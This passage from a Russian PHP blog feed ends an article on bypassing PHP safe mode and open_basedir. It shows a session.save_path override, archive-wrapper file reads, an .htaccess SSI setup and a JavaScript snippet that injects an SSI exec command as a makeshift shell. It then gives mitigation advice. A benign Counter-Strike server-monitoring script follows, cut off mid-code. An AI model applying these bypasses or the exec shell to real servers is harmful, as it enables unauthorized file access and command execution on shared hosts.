<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">error <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">Warning</span><span style="color: #339933;">:</span> SAFE MODE Restriction in effect<span style="color: #339933;">.</span> The script whose uid is <span style="color: #cc66cc;">500</span> is not &nbsp;allowed to access <span style="color: #339933;">/</span>etc<span style="color: #339933;">/</span>passwd &nbsp; <br />
&nbsp; &nbsp; owned by uid <span style="color: #cc66cc;">0</span> in <span style="color: #339933;">/</span>docroot<span style="color: #339933;">/</span>script<span style="color: #339933;">.</span>php on line <span style="color: #cc66cc;">2</span></div></div>
<p>Тот же самый эффект мы наблюдаем и с base_dir</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">error <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">Warning</span><span style="color: #339933;">:</span> open_basedir restriction in effect<span style="color: #339933;">.</span> <a href="http://www.php.net/file"><span style="color: #990000;">File</span></a> is in wrong directory in &nbsp;<span style="color: #339933;">/</span>docroot<span style="color: #339933;">/</span>script<span style="color: #339933;">.</span>php on line <span style="color: #cc66cc;">2</span></div></div>
<p>К сожалению , а может и к счастью safe mode уже научились обходить причем способом куча и редко встретишь сервер где не работает<br />
ни один . Например одним из последних способов обмануть base_dir является принудительное выставление session.save_path в директорию ,<br />
доступную на чтение.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">php <span style="color: #339933;">-&gt;</span> &nbsp;<a href="http://www.php.net/ini_set"><span style="color: #990000;">ini_set</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;session.save_path&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;/sessions/user2/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; <a href="http://www.php.net/putenv"><span style="color: #990000;">putenv</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;TMPDIR=/sessions/user2/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; <a href="http://www.php.net/ini_set"><span style="color: #990000;">ini_set</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;session.save_path&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #339933;">@</span><a href="http://www.php.net/session_start"><span style="color: #990000;">session_start</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>Использование префикса compress.bzip2:// или zip:// не учитываеся в safe mode , что позволяет читать файлы вне разрешенных директорий.<br />
Логично , что действие safe mode распространяется только на php скрипты и мы можем использовать perl , python или SSI (Server Side Includes).<br />
Для того чтобы последний метод заработал , надо выставить в апаче некоторые параметры запуска для файла в .htaccess</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">AddType text<span style="color: #339933;">/</span>html <span style="color: #339933;">.</span>shtml &nbsp;<br />
&nbsp; &nbsp; AddHandler server<span style="color: #339933;">-</span>parsed <span style="color: #339933;">.</span>shtml &nbsp;<br />
&nbsp; &nbsp; Options <span style="color: #339933;">+</span>Includes</div></div>
<p>И для того чтобы удобнее было использовать напишем своеобразный шелл на javascript</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> execute<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> &nbsp; <br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">var</span> cmd <span style="color: #339933;">=</span> document<span style="color: #339933;">.</span><a href="http://www.php.net/exec"><span style="color: #990000;">exec</span></a><span style="color: #339933;">.</span>cmd<span style="color: #339933;">.</span>value<span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; document<span style="color: #339933;">.</span>write<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&lt;html&gt;&lt;body&gt;&lt;!--#exec cmd=&quot;'</span><span style="color: #339933;">+</span>cmd<span style="color: #339933;">+</span><span style="color: #0000ff;">'&quot;--&gt;&lt;/body&gt;&lt;/html&gt;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></div>
<p>Не стоит отказываться от использования safe mode , достаточно следить за обновлениями php и своевремено ставить нужные патчи .<br />
Другим действенным методом является внедрение сторонних разработок , таких как suPHP , разграничивающих использование скриптов в<br />
зависимости от выставленных прав либо поставить phpsafemode.patch , принцип работы которого не особо отличается от предыдущего варинта.</p>
<p>Вот и конец, если есть вопросы &#8211; задавайте.<br />
З.Ы. устал писать&#8230;</p>
<script type="text/javascript" src="http://odnaknopka.ru/wp/ok2.utf8.js"></script><script type="text/javascript">okbm("http://phpmind.ru/php-articles/%d1%80%d0%be%d0%ba%d0%be%d0%b2%d1%8b%d0%b5-%d0%be%d1%88%d0%b8%d0%b1%d0%ba%d0%b8-%d0%b2-php/","Роковые ошибки в PHP")</script>]]></content:encoded>
			<wfw:commentRss>http://phpmind.ru/php-articles/%d1%80%d0%be%d0%ba%d0%be%d0%b2%d1%8b%d0%b5-%d0%be%d1%88%d0%b8%d0%b1%d0%ba%d0%b8-%d0%b2-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Мониторинг Counter-Strike 1.6 серверов (php cs 1.6 monitoring)</title>
		<link>http://phpmind.ru/others/%d0%bc%d0%be%d0%bd%d0%b8%d1%82%d0%be%d1%80%d0%b8%d0%bd%d0%b3-counter-strike-1-6-%d1%81%d0%b5%d1%80%d0%b2%d0%b5%d1%80%d0%be%d0%b2-php-cs-1-6-monitoring/</link>
		<comments>http://phpmind.ru/others/%d0%bc%d0%be%d0%bd%d0%b8%d1%82%d0%be%d1%80%d0%b8%d0%bd%d0%b3-counter-strike-1-6-%d1%81%d0%b5%d1%80%d0%b2%d0%b5%d1%80%d0%be%d0%b2-php-cs-1-6-monitoring/#comments</comments>
		<pubDate>Sat, 27 Feb 2010 07:12:09 +0000</pubDate>
		<dc:creator>Capcha</dc:creator>
				<category><![CDATA[PHP Скрипты]]></category>
		<category><![CDATA[Прочие заметки]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[пхп]]></category>

		<guid isPermaLink="false">http://phpmind.ru/?p=144</guid>
		<description><![CDATA[
Была раньше идея написать движок мониторинга CS 1.6 серверов.
Идея поглатила себя, так что выкладываю скрипт с которого вы уже сами дальше сможите сделать свой собственый движок мониторинга.
Скрипт достаточно простой, разобраться без труда может каждый.
Подходит под 47-49 протокол, т.е. самые последние.
И так, погнали&#8230;

Создаем файл cstrike.inc.php с содержанием:
&#60;?php 
if&#40;!function_exists&#40;'getmicrotime'&#41;&#41; 
&#123; 
&#160; &#160; function getmicrotime&#40;&#41; &#160;
&#160; &#160; &#123; [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://s57.radikal.ru/i158/1002/b0/210855875485.gif" alt="php counter-strike monitoring" /></p>
<p>Была раньше идея написать <em>движок мониторинга CS 1.6 серверов.</em><br />
Идея поглатила себя, так что выкладываю скрипт с которого вы уже сами дальше сможите сделать свой собственый движок мониторинга.</p>
<p>Скрипт достаточно простой, разобраться без труда может каждый.<br />
Подходит под <em>47-49 протокол</em>, т.е. самые последние.</p>
<p>И так, погнали&#8230;<br />
<span id="more-144"></span></p>
<p>Создаем файл <strong>cstrike.inc.php</strong> с содержанием:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'getmicrotime'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> getmicrotime<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/list"><span style="color: #990000;">list</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$usec</span><span style="color: #339933;">,</span> <span style="color: #000088;">$sec</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/explode"><span style="color: #990000;">explode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">,</span> <a href="http://www.php.net/microtime"><span style="color: #990000;">microtime</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>float<span style="color: #009900;">&#41;</span><span style="color: #000088;">$usec</span> <span style="color: #339933;">+</span> <span style="color: #009900;">&#40;</span>float<span style="color: #009900;">&#41;</span><span style="color: #000088;">$sec</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
<span style="color: #009900;">&#125;</span> <br />
<span style="color: #000000; font-weight: bold;">function</span> serverInfo<span style="color: #009900;">&#40;</span><span style="color: #000088;">$ip</span><span style="color: #339933;">,</span> <span style="color: #000088;">$port</span><span style="color: #009900;">&#41;</span> <br />
<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; <span style="color: #000088;">$ip</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/gethostbyname"><span style="color: #990000;">gethostbyname</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ip</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #000088;">$timeStart</span> <span style="color: #339933;">=</span> getmicrotime<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fsockopen"><span style="color: #990000;">fsockopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'udp://'</span><span style="color: #339933;">.</span><span style="color: #000088;">$ip</span><span style="color: #339933;">,</span> <span style="color: #000088;">$port</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <a href="http://www.php.net/stream_set_timeout"><span style="color: #990000;">stream_set_timeout</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> 2<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\xFF</span><span style="color: #660099; font-weight: bold;">\xFF</span><span style="color: #660099; font-weight: bold;">\xFF</span><span style="color: #660099; font-weight: bold;">\xFF</span>TSource Engine Query<span style="color: #660099; font-weight: bold;">\0</span><span style="color: #000099; font-weight: bold;">\r</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$temp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fread"><span style="color: #990000;">fread</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> 4<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$status</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/socket_get_status"><span style="color: #990000;">socket_get_status</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$status</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'unread_bytes'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">&gt;</span>0<span style="color: #009900;">&#41;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$temp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fread"><span style="color: #990000;">fread</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$status</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'unread_bytes'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$server</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'ping'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>int<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>getmicrotime<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$timeStart</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span>1000<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$array</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$pos</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pos</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$pos2</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\0</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pos</span><span style="color: #339933;">+</span>1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pos</span><span style="color: #339933;">+</span>1<span style="color: #339933;">,</span> <span style="color: #000088;">$pos2</span><span style="color: #339933;">-</span><span style="color: #000088;">$pos</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$pos</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$pos2</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$server</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'status'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'on'</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$ip</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> 0<span style="color: #009900;">&#41;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$server</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'players'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/ord"><span style="color: #990000;">ord</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span>5<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$server</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'maxplayers'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/ord"><span style="color: #990000;">ord</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span>5<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$server</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/trim"><span style="color: #990000;">trim</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> 1<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$server</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'map'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/trim"><span style="color: #990000;">trim</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$server</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'game'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/trim"><span style="color: #990000;">trim</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span>2<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$server</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'players'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/ord"><span style="color: #990000;">ord</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span>5<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$server</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'maxplayers'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/ord"><span style="color: #990000;">ord</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span>5<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$server</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/trim"><span style="color: #990000;">trim</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$server</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'map'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/trim"><span style="color: #990000;">trim</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span>2<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$server</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'game'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/trim"><span style="color: #990000;">trim</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span>3<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$command</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/pack"><span style="color: #990000;">pack</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;V&quot;</span><span style="color: #339933;">,</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'W'</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$command</span><span style="color: #339933;">,</span> <a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$command</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$temp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fread"><span style="color: #990000;">fread</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> 1500<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$temp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span><span style="color: #339933;">,</span> 5<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$lo</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #990000;">ord</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&lt;&lt;</span> 8<span style="color: #009900;">&#41;</span> <span style="color: #339933;">|</span> <a href="http://www.php.net/ord"><span style="color: #990000;">ord</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$hi</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #990000;">ord</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span><span style="color: #009900;">&#91;</span>3<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&lt;&lt;</span> 8<span style="color: #009900;">&#41;</span> <span style="color: #339933;">|</span> <a href="http://www.php.net/ord"><span style="color: #990000;">ord</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$temp</span><span style="color: #009900;">&#91;</span>2<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$data</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\xFF</span><span style="color: #660099; font-weight: bold;">\xFF</span><span style="color: #660099; font-weight: bold;">\xFF</span><span style="color: #660099; font-weight: bold;">\xFF</span><span style="color: #660099; font-weight: bold;">\x55</span>&quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/pack"><span style="color: #990000;">pack</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;V&quot;</span><span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$hi</span> <span style="color: #339933;">&lt;&lt;</span> 16<span style="color: #009900;">&#41;</span> <span style="color: #339933;">|</span> <span style="color: #000088;">$lo</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
